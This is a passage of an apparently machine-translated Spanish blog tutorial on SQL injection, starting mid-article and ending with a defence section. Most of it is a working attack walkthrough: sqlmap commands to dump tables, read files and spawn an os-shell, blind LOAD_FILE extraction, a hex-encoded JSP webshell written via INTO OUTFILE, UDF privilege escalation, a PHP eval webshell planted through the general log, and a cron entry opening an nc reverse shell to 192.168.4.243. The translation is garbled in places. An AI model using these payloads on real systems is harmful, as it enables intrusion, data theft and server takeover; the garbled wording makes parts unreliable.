        Si usa checkgbk.do?username=lilei%df'&safe=yes precompilado, automáticamente agregará \ a '. En este momento, si lo ejecuta, puede ver que, aunque precompilado, todavía formará %df%5c. :

        Utilice utf8 para la codificación de la base de datos, no utilice gbk, big5 y otros métodos de codificación para evitar que \ se analice como caracteres chinos u otro texto después de agregarlo con otros caracteres, evitando así la operación de escape de símbolos especiales.

 Segunda inyección:

       Cuando el front-end obtiene datos y los almacena en la base de datos para su precompilación, aunque ha sido codificado, el valor con código malicioso todavía se almacena en la base de datos. En este momento, si un sistema lee el valor de la base de datos, pero no Si no se utiliza la precompilación para ejecutar, se ejecutará la declaración maliciosa:

       En el entorno de prueba, cuando nuestra cuenta es administrador, podemos agregar una cuenta, si no, no podemos. El método de lectura primero leerá el número de identificación y luego obtendrá el nombre de la cuenta de la base de datos de acuerdo con el número de identificación. Después de comparar el nombre de la cuenta y la contraseña, si es administrador

       Durante el acceso normal, no tenemos una cuenta de administrador y no conocemos la contraseña, y el complemento de acceso saltará automáticamente:

       Pero cuando modifico el nombre de usuario a admin' o '1'='1 y lo ejecuto de forma precompilada:

       Puede ver que el nombre de usuario se modificó correctamente a admin' o '1'='1:

       Pero en este momento al ejecutar la suma, se descubrió que se ejecutó con éxito:

       Esto se debe a que la segunda lectura no utiliza precompilación, lo que da como resultado la diferencia entre las dos declaraciones:

actualizar usuario establecer nombre de usuario =' admin\' o \'1\'=\'1', contraseña='123456' donde id =1;

seleccione el nombre de usuario de admin donde nombre de usuario='admin' o '1'='1' y contraseña='123456';

Inyección de herramienta SQL:

Uso regular:

        La herramienta SQL más utilizada es sqlmap. Además de la inyección secundaria, los tipos de inyección están completamente cubiertos y hay scripts de derivación integrados que pueden desarrollar scripts personalizados según sus necesidades:

        Utilice el comando: sqlmap -r cc.txt --data id. Personalmente, se recomienda guardar y escanear el paquete de datos, para que sqlmap reemplace automáticamente parte de la información de configuración.

         sqlmap es relativamente simple, escriba el comando aquí:

sqlmap -r cc.txt --data id

sqlmap  -r cc.txt --dbs 
sqlmap  -r cc.txt –current-user –current-db
sqlmap  -r cc.txt --tables -D "sqltest"
sqlmap  -r cc.txt --columns -T "user" -D "sqltest"
sqlmap  -r cc.txt --dump -T "user" -D "sqltest"
sqlmap  -r cc.txt --dump -T "user" -D "sqltest" --start 1 --stop 2

        Además, el tema más importante es el permiso de la base de datos: cuando el permiso es demasiado alto, puede leer, escribir y ejecutar comandos, lo cual es más dañino:

        Primero use qlmap -r cc.txt –privileges para obtener permisos:

La autoridad es root y Secure_file_priv debe estar autorizado para leer, escribir y ejecutar comandos. Aquí intentamos leer el archivo primero:

mostrar variables globales como "secure_file_priv";

sqlmap -r cc.txt -file-read "D:\test.txt" puede leer correctamente el contenido del archivo: 

Escribe una frase caballo de Troya:

sqlmap -r cc.txt --file-write="/home/jspshell.txt" --file-dest="D:\remoteshell.jsp"

Ejecute el comando sqlmap -r cc.txt --os-shell, en el cual se debe determinar el idioma y la ruta para escribir en la web, lo cual requiere permiso de escritura:

        Después de una ejecución exitosa, regrese al directorio web y escriba dos webshells:

        Luego regrese a un shell, puede ejecutar comandos del sistema: 

 

Leer y escribir archivos manualmente:

Primero comprueba si tienes permiso de escritura.

id=1 y (extractvalue(1,concat(0x7e,(select @@global.secure_file_priv),0x7e)));

  • Si está vacío, no hay restricción de directorio, es decir, cualquier directorio está bien.
  • Si se especifica un directorio, MySQL restringirá las importaciones o exportaciones a ese directorio. El directorio ya debe existir, MySQL no lo crea automáticamente.
  • Si se establece en  NULL, el servidor MySQL deshabilita las funciones de importación y exportación.

Después de la ejecución, puede ver que el error devuelto está vacío, lo que demuestra que cualquier directorio del primer tipo está bien: 

Luego use la siguiente declaración para adivinar el contenido del archivo uno por uno:

1 Y ORD(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x443a2f746573742e747874)) AS NCHAR),0x20)),1,1))>54

1 AND ORD(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x443a2f746573742e747874)) AS NCHAR), 0x20)),2,1))>50 Si puede
conectarse directamente a la base de datos, ejecute la siguiente instrucción:

create table user(cmd text);
insert into user(cmd) values (load_file('D:\test.txt'));
select * from user;

Escriba en el archivo usando lo siguiente, use INTO OUTFILE para escribir:

id=1 LIMIT 0,1 INTO OUTFILE 'D:/remoteshell.jsp' LINES TERMINATED BY 0x20203c250a2020202050726f636573732070726f63657373203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b0a2f2f2020202053797374656d2e6f75742e7072696e746c6e2870726f63657373293b0a20202020496e70757453747265616d20696e70757453747265616d203d2070726f636573732e676574496e70757453747265616d28293b0a202020204275666665726564526561646572206275666665726564526561646572203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228696e70757453747265616d29293b0a20202020537472696e67206c696e653b0a202020207768696c652028286c696e65203d2062756666657265645265616465722e726561644c696e6528292920213d206e756c6c297b0a202020202020726573706f6e73652e67657457726974657228292e7072696e746c6e286c696e65293b0a202020207d0a2020253e0a0a

 Escribe con éxito una frase caballo de Troya:

 Escalada de derechos:

        De forma predeterminada, mysql no puede ejecutar comandos. Sqlmap puede ejecutar comandos esencialmente a través de la función de escritura de archivos de mysql para escribir en webshell y luego ejecutar comandos a través de webshell. De esta manera, cuando la autoridad web del servidor que obtenemos es demasiado baja, pero la autoridad de mysql es alta Si puede usar mysql para ejecutar comandos, puede lograr el propósito de escalar privilegios. Existen tres métodos para escalar privilegios:

  • escalada de privilegios udf

  • de escalada

  • Se puede utilizar un script de inicio (escalamiento de privilegios de elementos de inicio) o una tarea programada

        Entre ellos, la versión del sistema al que se aplica la escalada de privilegios de mof es relativamente baja, y xp o win servier 2003 no se mencionarán aquí porque son demasiado antiguos.

Escalada de privilegios UDF:

        La escalada de privilegios udf debe ser diferente del directorio según la versión de mysql:

        Si la versión de mysql es mayor que 5.1, el archivo udf.dll debe colocarse en la carpeta del directorio de instalación de mysql . Este directorio no existe de forma predeterminada. Debe usar webshell para encontrar el directorio de instalación de mysql y crear una carpeta MySQL\Lib\Plugin\en el directorio de instalación y luego agregue udf. MySQL\Lib\Plugin\El .dll se importa a ese directorio.

        Si la versión de mysql es inferior a 5.1, el archivo udf.dll se coloca en el directorio de Windows Server 2003 c:/windows/system32/y en el directorio de Windows Server 2000 c:/winnt/system32/.

        Primero use el comando mostrar variables como '%plugin%'; para obtener la ruta del complemento. 

        El archivo udf específico se puede encontrar en sqlmap, ubicado en /usr/share/sqlmap/data/udf/mysql. Hay archivos udf de sistemas Linux y Windows, pero los archivos están codificados y se pueden decodificar usando el siguiente comando. , lib_mysqludf_sys.dll se genera después de la ejecución:

python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

       Luego coloque lib_mysqludf_sys.dll en el directorio de escritura del servidor y luego ejecute la siguiente instrucción para escribir lib_mysqludf_sys.dll en la carpeta del complemento:

select LOAD_FILE('D:\\lib_mysqludf_sys.dll') into dumpfile 'D:\\permeate\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\lib_mysqludf_sys.dll';

        O utilice la siguiente declaración para escribir directamente lib_mysqludf_sys.dll, pero la longitud es relativamente larga, preste atención a que puede truncarse:

select unhex('dll文件的16进制编码') into dumpfile 'D:\permeate\phpstudy_pro\Extensions\MySQL5.5.29\lib\plugin\lib_mysqludf_sys.dll' 

     Luego ejecute la siguiente declaración para crear una función personalizada:

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

    Luego use select sys_eval("ipconfig "); para ejecutar el comando:

        El archivo so de Linux es similar. 

Escalada de privilegios de tareas planificadas:

        Lo último es escribirlo en la tarea programada o iniciar el script de inicio, pero personalmente recomiendo escribirlo en la tarea programada.

select '* * * * * nc -e /bin/bash 192.168.4.243 1235' into dumpfile '/var/spool/cron/root';

Escribir archivo de omisión: 

         Cuando se configura Secure_file_priv, no puede escribir archivos arbitrariamente, puede usar la función de registro para escribir archivos, primero puede ver la información del registro, use el comando: mostrar variables como "%general%";

         Si está cerrado, puede usar el siguiente comando para cerrar y configurar la ruta para guardar:

set global general_log = ON;
set global general_log_file = "D:\\test123.txt";
select '<?php eval($_GET[g]);?>';

        Luego podrá ver que el archivo de registro con código malicioso se generó correctamente:

Defensa de inyección SQL:

Principio de precompilación:

        La precompilación transcodificará el contenido entrante. Si es setString, escapará los caracteres especiales. Existen los siguientes siete tipos de escape:

\u0000 (%00 trunca símbolos), \n, \r, \u001a, ", ', \

 Cuando use setInt, use la conversión de tipo obligatoria para los parámetros de caracteres para resolver el problema de inyección SQL

Nota: los marcadores de posición se utilizan en la precompilación para escapar de los símbolos especiales de los parámetros en los marcadores de posición, pero % no se escapa, por lo que si usa like como consulta, los siguientes parámetros se usarán como consultas difusas comodín:

seleccione * de administrador donde nombre de usuario = ' admin ' y contraseña como '%';

De esta manera , incluso si no conoce la contraseña, puede usar % consulta difusa después de reemplazar el signo = con me gusta para omitir la verificación de contraseña.

Por lo tanto, cuando se requiere una consulta difusa, es necesario verificar estrictamente si los parámetros cumplen con las expectativas, y no es necesario utilizar una consulta difusa y no reemplazar = con like

Resumir:

       Finalmente, resumamos la inyección de SQL. En primer lugar, la inyección de SQL ocurre en todos los lugares donde puede haber operaciones de base de datos. Cuando usamos marcadores de posición para unir declaraciones SQL, pero usamos + para unir las cadenas obtenidas por el front-end, los atacantes pueden pasar mensajes maliciosos. Las etiquetas de cierre o consultas conjuntas y otros métodos destruyen la declaración de ejecución original y provocan resultados de ejecución impredecibles.

       Por lo tanto, cuando escribimos declaraciones SQL, debemos usar marcadores de posición para unir las declaraciones SQL. Además, la precompilación esencialmente escapa de los caracteres especiales que contienen, pero el contenido almacenado en la base de datos no se escapa. Si entre ellos, hay código para leer el datos almacenados en la base de datos. Cuando el valor predeterminado es correcto y no se utiliza la precompilación, provocará una inyección secundaria. Por lo tanto, todo el código debe estar precompilado para evitar que se envíe la inyección secundaria.

Entonces , en resumen, la defensa correcta debe prestar atención los siguientes puntos:

1. Primero, utilice la precompilación para asignar valores a las variables en forma de marcadores de posición y luego entréguelos a la base de datos para su ejecución.
2. Incluso si se utiliza la precompilación, si hay consultas difusas, es necesario verificar si los parámetros cumplen con las expectativas para evitar % de consultas no autorizadas. No reemplace = con like si no utiliza la función de consulta difusa.
3. La codificación de la base de datos debe codificarse en codificación utf8 para evitar que se omitan los caracteres de escape debido a problemas de codificación.
4. Cierre el permiso de la función de lectura y escritura del archivo en la base de datos.
5. La autoridad operativa de la base de datos en el sistema no puede ser la autoridad máxima y la autoridad debe asignarse de acuerdo con el principio de mínimo.

Supongo que te gusta

Origin blog.csdn.net/GalaxySpaceX/article/details/132139259
Recomendado
Clasificación